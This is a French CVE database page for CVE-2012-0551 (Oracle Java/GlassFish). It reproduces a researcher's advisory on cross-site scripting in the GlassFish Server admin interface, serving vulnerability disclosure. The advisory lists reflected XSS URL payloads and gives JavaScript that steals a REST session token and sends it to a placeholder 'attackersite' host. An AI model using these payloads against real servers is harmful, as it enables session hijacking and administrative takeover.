CVE-2012-0551 : Détail

CVE-2012-0551

59.85%V4
Network
2012-05-03
16h17 +00:00
2018-01-17
18h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Unspecified vulnerability in the Java Runtime Environment (JRE) in Oracle Java SE 7 update 4 and earlier and 6 update 32 and earlier, and the GlassFish Enterprise Server component in Oracle Sun Products Suite GlassFish Enterprise Server 3.1.1, allows remote attackers to affect confidentiality and integrity via unknown vectors related to Web Container or Deployment.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5.8 AV:N/AC:M/Au:N/C:P/I:P/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 18764

Date de publication : 2012-04-21 22h00 +00:00
Auteur : Roberto Suggi Liverani
EDB Vérifié : No

Details Vendor Site: Oracle (www.oracle.com) Date: April, 19th 2012 – CVE 2012-0551 Affected Software: Oracle GlassFish Server 3.1.1 (build 12) Researcher: Roberto Suggi Liverani PDF version: http://www.security-assessment.com/files/documents/advisory/Oracle_GlassFish_Server_Multiple_XSS.pdf Description Security-Assessment.com has discovered that components of the Oracle GlassFish Server administrative web interface are vulnerable to both reflected and stored Cross Site Scripting attacks. All pages where Cross Site Scripting vulnerabilities were discovered require authentication. Reflected Cross Site Scripting Reflected Cross Site Scripting was discovered in multiple parts of the application. The table below details where Reflected Cross Site Scripting was detected and which parameters are vulnerable: [1] /common/applications/lifecycleEdit.jsf?appName=test%27);alert(document.cookie)//test [2] /common/security/realms/realms.jsf?configName=default-config%22%29%3balert%281%29//test [3] /web/grizzly/networkListeners.jsf?configName=default-configad217%22%29%3balert%281%29//test [4] /common/security/auditModules/auditModules.jsf?configName=904895%22);alert(1);//test [5] /common/security/jacc/jaccProviders.jsf?configName=904895%22);alert(1);//t [6] /common/security/msgSecurity/msgSecurity.jsf?configName=904895%22);alert(1);//test [7] /jms/jmsHosts.jsf?configName=904895%22);alert(1);//test [8] /web/grizzly/networkListeners.jsf?configName=904895%22);alert(1);//test [9] /web/grizzly/protocols.jsf?configName=904895%22);alert(1);//test [10] /web/grizzly/transports.jsf?configName=904895%22);alert(1);//test [11] /xhp?key=aquarium%27%3b%3Cscript%3Ealert%281%29%3C/script%3E//test ** Works in Internet Explorer (content sniffing) Stored Cross Site Scripting The table below details where Stored Cross Site Scripting was detected and which parameters are vulnerable: Page Affected Rendered Page Method Variable [1] /management/domain/create-password-alias - POST - id [2] /common/appServer/pswdAliasNew.jsf - POST - propertyForm%3ApropertySheet%3ApropertSectionTextField%3AaliasNameNew%3AaliasNameNew ** requires a valid javax.faces.ViewState Exploitation These vulnerabilities can be exploited in several ways. One example is to include an external JavaScript file, such as a JavaScript hook file provided by BeEF, the browser exploitation framework. In this particular case, it is possible to steal the authentication token through the REST interface, bypassing the HTTPOnly protection adopted for the JSESSIONID token in the standard web administrative interface. Bypassing HTTPOnly protection and token theft via REST interface There is a feature in Oracle Glassfish Server which allows using cookie as a session management mechanism instead of Basic Authentication within the REST interface. This feature can be misused using a Cross Site Scripting vulnerability. An exploit scenario for both stored and reflected Cross Site Scripting vulnerabilities would be to inject a JavaScript payload which performs an XMLHTTPRequest (XHR) request to retrieve a valid session token via the REST interface. The following exploit can be used to retrieve and steal a session token in case a user is authenticated to the REST Interface, using Basic Authentication. The token can only be used with a cookie named gfresttoken within the REST interface. Bypassing HTTPOnly and Stealing Session Token function retrieveToken() { var xmlhttp; if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) {} } xmlhttp.open("POST","/management/sessions",true); xmlhttp.setRequestHeader("Accept","application/json") xmlhttp.send(); return xmlhttp; } function stealToken(a) { jsonObj = JSON.parse(a.responseText); // token retrieved and can be sent to attacker a = document.createElement("IMG"); a.setAttribute('src', 'http://attackersite/?token='+jsonObj.extraProperties.token); document.body.appendChild(a); // time to grab the token } // this exploit works with browsers that have native JSON support var a = retrieveToken();// perform XHR to retrieve token setTimeout('stealToken(a);',12000); // needs time to load the token, then sends it to attackersite // attacker then needs to set a cookie named gfresttoken with the token value obtained. The cookie has to be valid for the domain/IP address of the target Oracle Glassfish Server Solution Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - April 2012. Security-Assessment.com recommends applying the latest patch provided by the vendor. For more information, visit: http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html

Products Mentioned

Configuraton 0

Oracle>>Glassfish_server >> Version 3.1.1

Configuraton 0

Oracle>>Jdk >> Version To (including) 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jre >> Version To (including) 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Configuraton 0

Oracle>>Jdk >> Version To (including) 1.7.0

Oracle>>Jdk >> Version 1.7.0

Oracle>>Jdk >> Version 1.7.0

Oracle>>Jdk >> Version 1.7.0

Oracle>>Jdk >> Version 1.7.0

Oracle>>Jre >> Version To (including) 1.7.0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Références

http://rhn.redhat.com/errata/RHSA-2012-0734.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securitytracker.com/id?1026941
Tags : vdb-entry, x_refsource_SECTRACK
http://marc.info/?l=bugtraq&m=134496371727681&w=2
Tags : vendor-advisory, x_refsource_HP
http://rhn.redhat.com/errata/RHSA-2013-1455.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2013-1456.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.mandriva.com/security/advisories?name=MDVSA-2013:150
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.securityfocus.com/bid/53136
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=134496371727681&w=2
Tags : vendor-advisory, x_refsource_HP
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.